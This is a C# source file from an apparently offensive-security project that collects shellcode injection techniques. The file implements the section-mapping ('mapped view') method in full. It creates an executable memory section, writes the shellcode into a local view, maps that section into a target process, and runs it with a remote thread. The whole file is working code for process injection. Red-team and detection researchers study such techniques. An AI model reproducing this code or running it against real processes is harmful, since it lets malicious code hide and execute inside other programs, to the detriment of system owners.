-
Notifications
You must be signed in to change notification settings - Fork 97
/
Copy pathInterProcessMappedView.cs
58 lines (49 loc) · 2.6 KB
/
InterProcessMappedView.cs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
using System;
using System.Runtime.InteropServices;
using System.Diagnostics;
using static ShellcodeInjectionTechniques.Debugger;
using static ShellcodeInjectionTechniques.Native;
namespace ShellcodeInjectionTechniques
{
class InterProcessMappedView : ITechnique
{
public void Run(Process target, byte[] shellcode)
{
IntPtr hSectionHandle = IntPtr.Zero;
IntPtr pLocalView = IntPtr.Zero;
UInt64 size = (UInt32)shellcode.Length;
// create a new section to map view to
UInt32 result = NtCreateSection(ref hSectionHandle, SectionAccess.SECTION_ALL_ACCESS, IntPtr.Zero, ref size, MemoryProtection.PAGE_EXECUTE_READWRITE, MappingAttributes.SEC_COMMIT, IntPtr.Zero);
if (result != 0)
{
Debug("[!] Unable to map view of section: {0}", new string[] { ((NTSTATUS)result).ToString() });
return;
}
else
Debug("[+] NtCreateSection() - section handle: 0x{0}", new string[] { hSectionHandle.ToString("X") });
// create a local view
const UInt32 ViewUnmap = 0x2;
UInt64 offset = 0;
result = NtMapViewOfSection(hSectionHandle, (IntPtr)(-1), ref pLocalView, UIntPtr.Zero, UIntPtr.Zero, ref offset, ref size, ViewUnmap, 0, MemoryProtection.PAGE_READWRITE);
if (result != 0)
{
Debug("[!] Unable to map view of section: {0}", new string[] { ((NTSTATUS)result).ToString() });
return;
}
else
Debug("[+] NtMapViewOfSection() - local view: 0x{0}", new string[] { pLocalView.ToString("X") });
// copy shellcode to the local view
Marshal.Copy(shellcode, 0, pLocalView, shellcode.Length);
Debug("[+] Marshalling shellcode");
// create a remote view of the section in the target
IntPtr pRemoteView = IntPtr.Zero;
NtMapViewOfSection(hSectionHandle, target.Handle, ref pRemoteView, UIntPtr.Zero, UIntPtr.Zero, ref offset, ref size, ViewUnmap, 0, MemoryProtection.PAGE_EXECUTE_READ);
Debug("[+] NtMapViewOfSection() - remote view: 0x{0}", new string[] { pRemoteView.ToString("X") });
// execute the shellcode
IntPtr hThread = IntPtr.Zero;
CLIENT_ID cid = new CLIENT_ID();
RtlCreateUserThread(target.Handle, IntPtr.Zero, false, 0, IntPtr.Zero, IntPtr.Zero, pRemoteView, IntPtr.Zero, ref hThread, cid);
Debug("[+] RtlCreateUserThread() - thread handle: 0x{0}", new string[] { hThread.ToString("X") });
}
}
}